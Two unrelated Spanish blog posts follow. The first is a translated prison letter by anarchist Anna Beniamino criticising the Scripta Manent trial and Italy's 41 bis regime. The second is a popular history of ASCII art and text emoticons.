Hemos revisado la traducción de Informativo Anarquista de este escrito de la compañera Anna Beniamino en previsión de la audiencia en Casación del próximo 24 de abril respecto al delito de «strage política» en el contexto del proceso Scripta Manent.
Puedes encontrar el original en La Nemesi.EL CARRUSEL DE LA REPRESIÓN
Casi ocho años después de las detenciones por Scripta Manent, por segunda vez el Tribunal de Casación, el 24 de abril de 2024, se pronunciará sobre el delito de «masacre política», ex art. 285 código penal, contra Alfredo y yo, último retazo del proceso (1), después de un carrusel de aplazamientos, recálculos y argucias represivo-jurisprudenciales (2).
Aunque la iteración del error anestesia el horror, y vivimos tiempos de múltiples horrores ostentosos y de anestesia total, creo que aún hay que decir algunas palabras sobre el intento de aniquilación en curso, sobre las reacciones, exitosas e intentadas. No tanto porque piense que esto pueda ser útil para nuestra suerte personal, sino por una forma de «romanticismo» obstinado que considera que el silencio y la resignación son letales siempre, y más aún en un juicio político.
No tengo ninguna inclinación a resignarme en silencio a la administración de «justicia» (como ocurre diariamente en las prisiones), ni a limitarme por la lógica de la reducción de daños (otra piedra angular de la supervivencia entre la cárcel y los tribunales), sino a desplazar la atención hacia las políticas represivas que subyacen a esto y a la capacidad real de reaccionar, de crear momentos de lucha y ruptura, de construir diques, individuales y colectivos, ante la arrogancia de la represión.
He hablado de error y de horror porque eso es lo que son en su esencia las políticas represivas, error y horror que se mezclan en el distorsionar completamente el porte teórico y práctico del enemigo [político], enterrándolo vivo y/o forzándolo al atrincheramiento de la defensa preventiva y de las reservas indias de la «contracultura» y de la búsqueda de la «indignación democrática» (que también es poco más que una reserva india, con un umbral de sensibilidad que es cada vez más una corteza irrompible para la mayoría), una estrategia que a corto plazo debilita la reactividad de los compañeros y compañeras enredados, más de lo que creen, en un sentimiento de inevitabilidad de los acontecimientos y de imposibilidad de construir reacciones.
Hace siete años pensaba que era posible tratar el proceso Scripta Manent como represión ordinaria, rebatiendo desde un punto de vista técnico, punto por punto, tanto los incidentes individuales como todo el constructo asociativo, dada la evidente fragilidad del castillo acusatorio. Un exceso de optimismo sobre la voluntad y las estrategias políticas en juego y una imperdonable miopía al no poner inmediatamente de relieve con más fuerza lo que estaba ocurriendo. Han sido «necesarios» 41 bis y cadena perpetua rondando para centrar las miradas y la atención.
Lejos de querer volver a caer en la retórica del «error judicial», del exceso, porque desde un punto de vista jurisprudencial y probatorio, fue precisamente eso lo que tuvieron que admitir a regañadientes algunos medios de comunicación mainstream (otros han continuado con la ‘monstrificación’) que, para justificar al anarquista en 41 bis, tenían que contextualizar con cierto embarazo los hechos y el personaje, además de situar el corazón del Estado, su seguridad –cuya puesta en peligro es precisamente lo que caracteriza a la «masacre política»– en un par de contenedores de basura explosionados a las 3 de la madrugada en el recinto amurallado de un cuartel, y tener que eludir con el mismo embarazo los demás fallos del guión ofrecido por la DNAA y la fiscalía de Turín.
Lejos del «error judicial», porque se trata de una voluntad precisa, con convergencias entre los castillos de naipes de las jefaturas de policía y las jaulas de cemento con vistas a cemento [*ndt1]: el componente episódico (la carrera del tal policía o magistrado, los medios de comunicación siempre listos para insuflar el nuevo peligro, la más burda propaganda) está ahí, pero fluye en una máquina bien engrasada que siempre necesita nuevas cabezas cortadas para ser exhibidas en los bastiones de la ley y el orden. Entonces, a veces, la máquina se atasca… y es deber y orgullo de todo antiautoritario hacer que se atasque.
En estos años de cárcel y juicios he tenido la oportunidad de experimentar en directo una serie de forzamientos lógicos y jurídicos que no creía posible concentrar en una sola operación, dándome cuenta igualmente de que es el modus operandi de la práctica entre fiscales y tribunales en la extensión de la legislación «especial», de «emergencial» a «cotidiana», de la antimafia y antiterrorismo: no ya una excepción, sino la gestión habitual que la DNAA aplicaba y aplica a los juicios contra la llamada delincuencia organizada extendida a los anarquistas y que la justicia en general aplica a aquellos segmentos de la oposición social y no aislada y fácilmente atacable homologación que aún expresan, aunque sea de forma germinal, la necesidad de recuperar las calles, la palabra y la dignidad de una oposición no negociada. Un ataque sinérgico –alimentado por un clima político no de un simple gobierno de derechas sino equivalente en los últimos gobiernos «políticos» o «técnicos» que quisieron definirse– contra los componentes no recuperables con fines electorales: en una bajada general del listón de lo que se puede castigar penalmente y la paralela subida de lo que se puede ‘monstrificar’ mediáticamente, pueden leerse las estrategias en implementadas y las resistencias a oponer.
En este sentido, creo que el escrito de Juan (3) es claro en captar lo positivo, cuando no la necesidad de frenarlo, además de las debidas cuestiones críticas y autocríticas del movimiento.
Sobre el constructo jurídico: castillos de naipes
Presentar al enemigo como un monstruo, eso es lo que ocurre; es praxis, no excepcionalidad. Ciertamente de forma más refinada en el caso de los juicios políticos, donde el enemigo interior debe ser esterilizado de cualquier empatía crítica/comunicativa, pero también ocurre en la tramitación de los juicios a los mundos y submundos maleantes donde se magnifican los crímenes y las amenazas. En los que los mismos «desventurados» primero son utilizados y engrosados un poco gracias a los «honores» criminales otorgados por las crónicas periodísticas, para luego ser triturados, compostados y destruidos en el circuito carcelario: traficantes callejeros transformados en capos del hampa, en una comedia de partes en la que se mezclan víctimas y verdugos, todos proclives al dios dinero.
En los últimos años el paraguas de la «lucha contra la mafia» se ha convertido en una útil cortina de humo para encubrir un contexto en el que la complicidad entre la política institucional y los intereses económicos gestionados con mano de obra ilegal es la práctica, e igualmente lo es deshacerse de la mano de obra agotada. Sobre esto se injertó la ampliación de la DNA a la DNAA, con la aplicación de estrategias y circuitos carcelarios similares. Poco importa que el número real de presos por delitos clasificados como terrorismo sea infinitesimal, el bombo mediático ha inflado la nueva pretensión de que «mafiosos y terroristas» sean recluidos en jaulas especiales.
Sobre los circuitos de detención: jaulas de cemento con vistas a cemento
El contexto mediático contribuye a crear un mecanismo de silencio/asentimiento en relación con las notas de prensa estatales y gubernamentales, hasta que se pueda oponer/imponer una narrativa diferente. Los medios de que disponemos son a menudo en dosis homeopáticas en comparación con la potencia de fuego mediática del enemigo, pero a veces eficaces.
Lo hemos experimentado durante la lucha para liberar a Alfredo del 41bis. Una lucha perdida en el objetivo concreto, donde hubo una «victoria moral» parcial, en el sentido de que se rompió el muro de silencio respecto a un circuito de tortura «blanca» en Italia, abriendo incluso grietas en la ‘monstrificación’ del enemigo [político del Estado – ndt] y la represión a los anarquistas, pero Alfredo sigue siendo un rehén en esas jaulas, en Bancali. En resumen, sigue siendo una lucha abierta. Y hay que reflexionar sobre ello.
Tras la huelga de hambre que duró hasta el umbral de la muerte y una vasta movilización, no sólo del área anarquista y precedida por una clara toma de posición pública de varios abogados (4) que impulsó incluso a las áreas más intimidadas del movimiento a exponerse, se produjo un cortocircuito informativo que dio algunos resultados, aunque los intentos más burdos de restaurar al monstruo sobrehumanizado no se hicieron esperar. En la mejor tradición periodística primero crear el personaje y luego desmembrarlo. En parte, no todo es salvable por muy arduo que sea el proceso de oposición.
Pocos meses después, también ha habido algún intento periodístico/editorial de historiar hechos e ideas de forma más honesta, aunque siempre trabajando sobre el guión de los informes policiales (que los historiadores y cronistas profesionales tienen el vicio de considerar como fuentes ciertas, cuando a veces lo son por meros datos de sucesos, a veces porque éstos también son sesgados o forzados, pero entonces se hunden en el abismo de la tergiversación funcional de biografías, ideas, citas, pensamiento político). Así, incluso en estos casos, la fuerza de una instancia de lucha colectiva e individual es sustituida por un personaje, el héroe único y testarudo, que al final resulta útil para descartar su porte ideal y práctico, vendiendo como romanticismo lo que es una lúcida, aunque amarga, lectura sin concesiones de la realidad.
Entre castillos de naipes y jaulas de hormigón: variables y constantes de la estrategia represiva
Ha habido un cambio de ritmo en Scripta Manent, tanto en el uso de los delitos como en los circuitos de detención. O mejor dicho, ha habido varios acelerones en los últimos años, con una serie de procesos contra el ámbito anarquista y antagonista, de los que las draconianas condenas en los juicios Scripta Manent y contra Juan en primera instancia a 28 años han sido el ejemplo más llamativo, con el concomitante peso del 41 bis encima. El delito de «masacre política» –un crimen-monstruo que con sólo pronunciarlo hace caer al interlocutor en un pozo negro de terror indiscriminado– asociado al 41 bis –el circuito infernal del supervillano– tenía probablemente por objeto anular cualquier tipo de reacción. Además, el cambio de ritmo con la condena por 270bis, asociación subversiva para la FAI, abrió a los anarquistas la «fruición» del delito de asociación con la consiguiente lectura distorsionada de las relaciones humanas y la solidaridad entre compañerxs.
Me explico: durante años me he enfrentado, junto con muchxs compañerxs, al intento de varios fiscales italianos, solos o con un propósito represivo común, de imputarme el delito de asociación, junto con otros anarquistas, empezando por el proceso Marini y así sucesivamente con operaciones que partiendo de periódicos anarquistas, utilizaban alguna acción como delito de finalidad y montaban la operación casi estacional. Con Scripta Manent, el delito de asociación con fines terroristas pasó como precedente judicial. Poco importa a estos efectos que Scripta Manent, tras los inicios de la megainvestigación, fuera capaz de endosárnosla –con un chapucerísimo sistema «conjuncional» de asociaciones a modo de “muñecas rusas” de actores desconocidos y, sobre todo, de «estructura» no detallada (5)– sólo a Alfredo, Nicola y a mí… sin embargo, sirve de precedente para una serie de operaciones posteriores en las que ni siquiera existe el esfuerzo de construir un relato verosímil entre hechos, periódicos… como en Scripta Scelera: el hecho de crear un periódico es suficiente para desencadenar el delito de asociación. La lógica represiva sobre los periódicos anarquistas ha pasado tout court [sin más – ndt] si dan la palabra a los compañeros encarcelados. La bajada del listón de la punibilidad puede leerse también en la «auto-adiestramiento», que de ser un delito inventado para reprimir el activismo y el proselitismo en internet del área islámica en el caso de individuos sueltos, pasa ahora a abarcar también el activismo antiautoritario, por mucho que sean fenómenos con fines y medios antitéticos. La sugestión del «lobo solitario» es válida y útil si el acusado está solo. Se utilizan entonces con profusión los delitos de «presunta peligrosidad» y ‘monstrificaciones’ preventivas para aplicar abundantes medidas de vigilancia especial.
Otro cambio de paso fue el intento de aplicar el 41bis al área anarquista. Antes de lo ocurrido con Alfredo hubo un intento preliminar de crear en L’Aquila una AS2 bajo gestión del GOM con tratamiento comparable al 41bis [*ndt2] (en una extensión de lo que ya se aplicaba a los presos clasificados como islámicos, primero en Badu ‘e Carros para las mujeres y en Rossano Calabro para los hombres). El intento fue frenado con una huelga de hambre conjunta de compañeras y compañeros entonces encarcelados en diversas prisiones y por diferentes investigaciones judiciales (6). Sin olvidar que el régimen del 41 bis nació como una suspensión especial y temporal, precedida por el artículo 90, que con medidas similares en los años 80 respondió a los levantamientos carcelarios, cristalizó como «baluarte» antimafia y luego se aplicó a los presos revolucionarios comunistas con renovaciones automáticas periódicas, y sigue siendo disuasorio y medio de presión. En resumen: usos diversificados según las necesidades… sucede tanto con los artículos del código penal como con las jaulas de hormigón.
Ahora bien, para no volver a caer en la mística paralizante de una máquina represiva que todo lo destruye con castigos ejemplares, desertización de las plazas y censura total, también hay que echar un vistazo a la capacidad real, que la hubo y la hay, de no dejarse arrinconar totalmente por ello. Al contrario, en algunos casos (y a un coste considerable o con la ligereza de la razón que sea) ha sido posible derribar la narrativa impuesta y construir algo nuevo. También en una inesperada convergencia de atenciones e intenciones que ha existido potencialmente y probablemente se ha apagado demasiado rápido en esa inconstancia que no sólo es prerrogativa de los movimientos sino costumbre generalizada.
Ciertamente no son tiempos de praderas en llamas, pero tampoco de bomberos y resignados. Hay un componente que resiste y persiste, pero sufre con demasiada frecuencia la fatiga moral de pensar que uno se pasa la vida luchando contra molinos de viento, ¡cuando también los vientos soplan en contra!
No creo en héroes ni en superhumanos, sino en la conciencia que mujeres y hombres deben construir, en que la lucha no es gratuita, que implica contragolpes y caídas, resistencias y oscilantes golpes de autoestima. Y que vale la pena, siempre y en cualquier caso, por la calidad de las relaciones que se construyen, no de supervivencia ideal sino de una vida mas real que nunca.
Anna Beniamino
Rebibbia, marzo de 2024Notas:
[1] Ver: https://ilrovescio.info/2022/11/07/scripta-manent-appunto/
[2] Si es necesario… un breve resumen:
– La apelación de 2020 había confirmado las condenas por 422 c. p. (masacre «común») –aunque el GIP ya lo había recalificado como 280 c. p.– para Alfredo y para mí y las condenas por 270 bis, reduciendo el tamaño de la asociación subversiva y liberando a 2 compañeros de la acusación de participación que había pasado en primera instancia. Otra contradicción entre las dos sentencias es la relativa a la incitación a cometer delitos por medio de revistas y blogs, desestimada en primera instancia y reconocida en segunda a 13 compañeros. Entre la masacre y los diversos delitos continuados, el segundo grado condenó a Alfredo a 20 años y a mí a 16 años y 6 meses.
– El Tribunal de Casación en julio de 2022 recalificó directamente (sin reenvío a apelación) el 422 c. p. en 285 c. p. (masacre «política») como delito penal, dejando cínicamente a los jueces de apelación bis la carga de recalcular la pena, que, siendo el 285 c. p. un delito de pena fija, hubiera sido cadena perpetua y 30 años.
– En la vista de apelación bis de diciembre de 2022 (a la que comparecimos, con Alfredo, en huelga de hambre contra el 41 bis y la cadena perpetua hostil) se aceptaron algunas de las cuestiones planteadas por la defensa, en particular las relativas a la no aplicación de circunstancias atenuantes a Alfredo, devolviendo la cuestión al Tribunal Constitucional, que contestó afirmativamente en mayo de 2022.
– En la vista de apelación de junio de 2022, siguiendo las instrucciones del Tribunal Constitucional, se fijaron las penas en 23 años para Alfredo y 17 años y 9 meses para mí.
– La Fiscalía de Turín recurrió ante el Tribunal de Casación contra la concesión a ambos del 311 c. p. (entidad menor del hecho) y contra la prevalencia de circunstancias atenuantes sobre la reincidencia concedida a Alfredo. La defensa recurrió de nuevo planteando una cuestión constitucional respecto a la pena fijada.[* ndt1] celdas de cemento con vistas a cemento se refiere a la disposición de las celdas de modo que sólo puede verse cemento, la llamada arquitectura vertical:
«… en una sección situada bajo tierra, sin ventanas, por lo tanto sin aire ni luz natural…espacios reducidos y dispuestos verticalmente de modo que la vista queda privada de cualquier horizonte… Esta estructura genera una sensación de opresión, de claustrofobia, de tortura sicológica…»[5] La misma sentencia del Tribunal Supremo de julio de 2022, tras años y años de juicio, liquida la asociación con unas pocas líneas que ni siquiera intentan justificar un esquema que pasa a mantenerse por si mismo, por el cual Alfredo, Nicola y yo seríamos «asociados de larga trayectoria que han ocupado altos cargos en la FAI», sin explicar en ningún sitio en qué se basa esta afirmación axiomática. Admitiendo manifiestamente las «problemáticas inmanentes» para «identificar, a partir de pruebas que han adoptado las morfologías más dispares, en los diferentes coeficientes de intensidad circunstancial escrutados, una célula subversiva estructurada en torno a tres núcleos subjetivos, fijados por objetivos comunes, recursos comunes, ideales comunes, métodos replicados, conocimientos compartidos, solidaridades manifestadas […]». Dicho en términos más toscos: son una célula subversiva porque son anarquistas que se conocen desde hace mucho tiempo. Y punto. La idea anarquista es el pegamento, la sustancia de la asociación.
[* ndt2] Condiciones de detención a las que estaban sometidas las compañeras:
– celdas individuales en la antigua sección del 41 bis femenino en la prisión de L’Aquila, con la ventanilla cerrada
– Cada día eran despertadas a las 7 de la mañana, a las 8 pasaban los carceleros a comprobar los barrotes, dos horas de patio por la mañana y dos por la tarde (solas)
– Todas las entradas y salidas de la celda controladas con detector de metales (las compañeras eran escaneadas doce veces al día), además de un registro completo diario.
– Solo una hora de socialización al día en una pequeño habitáculo.
– Control estricto de las pertenencias. Armario fuera de la celda con un máximo de 7 prendas, tres libros como máximo, control exhaustivo y recuento de las pertenencias cada vez que sacan o meten algo de la celda.
– Sin radio, y sin posibilidad de ver la hora en la televisión, por lo saber la hora era prácticamente imposible.
– Las carceleras eran del cuerpo del GOM, mujeres embrutecidas del cuerpo de la policía penitenciaria. En poco más de una semana recibieron nueve expedientes disciplinarios. Para hacerse una idea, uno por apoyar un pie en el cuartucho de socialización y otra por salir con un bolígrafo al patio.[6] Estas son las palabras con las que comenzó la huelga en mayo de 2019:
«Llevamos casi dos meses encerradas en la sección femenina AS2 de L’Aquila, a estas alturas son bien conocidas, aquí y fuera, las condiciones de detención derivadas de un reglamento que huele a 41bis suavizado.
Estamos convencidas de que no se puede ni se podrá exigir ninguna mejora, no sólo por cuestiones objetivas y estructurales de la sección amarilla (ex-41bis): toda la cárcel está destinada casi exclusivamente al régimen 41bis, por lo que ampliar un poco las mallas del reglamento de la sección nos parece de mal gusto e impracticable, dadas las condiciones aún más pesadas que se sufren a pocos pasos de aquí, no podemos dejar de pensar en cuántos y cuántas llevan años luchando acumulando informes y procesos penales. A esto hay que añadir el torpe intento del DAP de salir del paso creando una sección mixta anarcoislámica, lo que ha provocado una nueva prohibición de reunirse en la propia sección, con un aislamiento que continúa.
Hay condiciones carcelarias, comunes o especiales, aún peores que las de L’Aquila. Esta no es una buena razón para no oponerse a lo que imponen aquí.
No comeremos más de este pan: el 29 de mayo iniciaremos una huelga de hambre exigiendo el traslado de esta cárcel y el cierre de esta infame sección. Silvia y Anna».https://lucharcontrael41bis.noblogs.org/2024/04/22/anna-beniamino-el-carrusel-de-la-represion/
#AnnaBeniamino #cartas #regímenesDiferenciados #ScriptaManent #textos
-
ASCII: Arte de códigos .
#Arte #ASCII #arteDigital #Blog #ElSueñodelArtista
El arte ASCII se basa en la unión de caracteres o códigos que llevan el propio nombre hasta formar una imagen en computadora que en un principio estos códigos fue creado para la telegrafía , casualmente manteniendo una especie de juegos de palabras con una amiga por medio de chat fue que descubrí el mundo ASCII y después de investigar un poco conocí sus distintas aplicaciones y entre ellos se encontraba el Arte.
Seguramente al leer las siglas ASCII que se encuentra en inglés siendo el acrónimo de American Standard Code for Information Interchange, que en español significa Código Estándar Estadounidense para el Intercambio de Información te estarás preguntando ¿que es eso? Y la relación que tenga con el arte , pues bien si te digo que quizás has utilizado estos símbolos por lo menos una vez en tu vida como emojis o por lo menos el de la clásica sonrisa 🙂 te sorprenderías .
Símbolos usadosRepresentación GráficaSignificado: )🙂la clásica sonrisa^_^_^ojos felicesx_x_xcara de agotamientoo_o_osorpresa total-_-_-indiferencia absoluta*_*_*deslumbradoLos códigos como 🙂 y -_- pertenecen a la era de los emoticonos de texto, que fueron populares antes de que los emojis gráficos dominaran la comunicación digital.
Estos símbolos fueron especialmente usados por:
Generación X (nacidos entre 1965–1980) fueron los primeros en usar chats, foros y correos electrónicos donde no existían emojis gráficos.
Emoticonos como 🙂, 😦, ;-P, y -_- eran comunes en IRC, MSN Messenger y foros de los 90s y 2000s.
Los Millennials (nacidos entre 1981–1996) también usaron estos códigos ampliamente en sus años adolescentes y universitarios.
Aunque adoptaron los emojis gráficos más tarde, muchos aún usan emoticonos por nostalgia o estilo personal.
Mientras que la Gen Z (nacidos después de 1997) prefieren emojis gráficos y stickers.
Algunos consideran los emoticonos como 🙂 o -_- “cringe” o “boomer vibes”, aunque los usan irónicamente o para marcar tono sarcástico.
╔══════════════════════════════╗ ║ EL SUEÑO DEL ARTISTA ║ ║ ~ Donde la imaginación ║ ║ cobra forma en símbolos ~ ║ ╚══════════════════════════════╝ Ejemplo gráfico de arte ASCIIEl código ASCII fue desarrollado en 1963 por el Comité Estadounidense de Estándares (ASA), que más tarde se convirtió en el ANSI (Instituto Nacional Estadounidense de Estándares).
Surgió como una evolución de los códigos usados en telegrafía, con el objetivo de crear un lenguaje común para la comunicación entre máquinas. En 1967, se incorporaron las letras minúsculas y se redefinieron algunos códigos de control.
El código ASCII original empleaba 7 bits de información para representar cada uno de los caracteres correspondientes, y un bit adicional para la comprobación de errores (para un total de 8 bits, es decir, un byte). Se trata de una traducción numérica del alfabeto empleado por el inglés, dado que los sistemas informáticos sólo manejan código binario (0-1) como lenguaje para representar sus operaciones lógicas. Así, a cada caracter (letra, signo o incluso espacio en blanco) corresponde en ASCII una cadena numérica de ocho bits (ocho dígitos entre 0 y 1, es decir, en código binario).
El ASCII ya como arte se ha utilizado cuando no era posible la transmisión o la impresión de imágenes en las configuraciones de equipos computarizados, tales como maquinillas, teletipos y equipos de visualización que no cuentan con tarjetas de proceso gráfico. También, ha servido como lenguaje fuente para representar logos de compañías y productos, para crear diagramas procedimentales de flujo de operaciones y en el diseño de los primeros videojuegos .
Entre los pioneros en abordar este arte se encuentran incluso mucho antes del inicio de las primeras computadoras
La primera artista reconocida por usar una máquina de escribir como medio artístico fue Flora Fanny Stacey, nacida en 1845 en Hounslow Heath, Londres. Su obra más conocida es una imagen de una mariposa publicada en The Phonetic Journal el 15 de octubre de 1898. Aunque las máquinas de escribir existían desde 1874, no se conservan dibujos anteriores a esa fecha, por lo que Stacey es considerada la pionera del arte tipográfico.
Stacey anticipó lo que décadas después se conocería como arte ASCII, una disciplina que floreció en los años 60 y 70. Aunque murió en 1909 sin haber alcanzado fama masiva, su legado ha sido redescubierto por historiadores del arte digital y tipográfico
Otro de los pioneros en incursionar en este tipo de arte se encuentra:
Ángel Luis Arambilet Álvarez, conocido profesionalmente como Arambilet, es una figura fascinante en el cruce entre arte, literatura y tecnología. Nacido el 16 de septiembre de 1957 en Santo Domingo, República Dominicana, Arambilet es un escritor, artista gráfico, cineasta, diseñador, poeta y pionero del arte digital
Arambilet es reconocido en América Latina y el Caribe como el creador del primer cuento y los primeros poemas gráficos realizados con arte ASCII, publicados en 1978 en las revistas Arte y Literatura y Arte y Cibernética. Lo revolucionario de su trabajo fue que:
- Utilizó tarjetas perforadas, compiladores COBOL y impresoras de martillo para generar imágenes con texto.
- Combinó poesía y visualidad, dando origen a los llamados grafopoemas, donde el texto no solo se lee, sino que se ve como imagen.
Este enfoque lo posiciona como uno de los precursores del arte digital en Hispanoamérica, mucho antes de que existieran interfaces gráficas o redes sociales.
Además de su trabajo experimental, Arambilet ha sido galardonado con importantes premios:
- Premio Nacional de Cuento por Los pétalos de Cayena (1994)
- Premio Nacional de Novela por El secreto de Neguri (2006)
Su obra abarca desde narrativa tradicional hasta exploraciones multimedia, y ha sido incluida en proyectos internacionales como The History of Computer Graphics and Digital Art Project y compArt de la Universidad de Bremen
Otro de los tantos artistas que destacan en el fascinante mundo del arte ASCII es Paul Smith, cuya historia es tan inspiradora como su obra.
Nacido en 1921 en Filadelfia, Paul Smith vivió con parálisis cerebral severa, lo que limitaba su movilidad y habla.
A pesar de estas dificultades, encontró en la máquina de escribir una herramienta para expresarse artísticamente.
Usando solo los caracteres que podía alcanzar (@, #, $, %, ^, &, *, (, )), creó retratos, paisajes y escenas religiosas con una precisión sorprendente.
Paul Smith trabajaba con una máquina de escribir manual, sin tecnología digital, y aún así lograba reproducir fotografías y crear obras con profundidad visual.
Cuando aparecieron las cintas de color, las incorporó para dar más matices a sus piezas.
El mundo del Arte ASCII pese a las distintas evoluciones que ha tenido el Internet no ha pasado al olvido sus artistas han dejado impresionantes obras creadas solamente con signos de interrogación o letras . Incluso hoy en día existe diferentes generadores de ASCII en Internet de los que puedes hacer uso y divertirte un poco.
Acá te dejo algunos enlaces que encontré en el vasto Internet:
https://fsymbols.com/es/arte-de-texto/
Una bonita página web que además de tener una gran colección de imágenes creadas con el.código ASCII también tiene una forma de generar emojis con estos códigos.
https://www.ascii-art-generator.org/es.html
Una web donde su eslogan es: cuando el texto no es suficiente nos da la posibilidad de generar nuestro propio arte de códigos además de tener una especie de enciclopedia de símbolos según sus características.
https://www.ascii-art-generator.org/es.html
Por último pero no menos importante un simple pero útil creador de arte ASCII online gratuito el cual segun la propia web le permite convertir imágenes en arte ASCII a color o blanco y negro. También puede convertir texto en firmas ASCII. Para arte ASCII en color, ofrecemos varios formatos de salida, incluido SVG.
(─‿‿─)Si llegaste hasta acá significa que me leíste gracias por hacerlo .
e 5 0 2 6 9 f 0 9 4 5 e 4 2 e 9 a 2 0 3 5 0 1 d a 1 f 9 d 0 6 a a s c i i a r t 2 a s c i i a r t#arte #arteDigital #ascii #blog #elSueñoDelArtista #historia #literatura #tecnología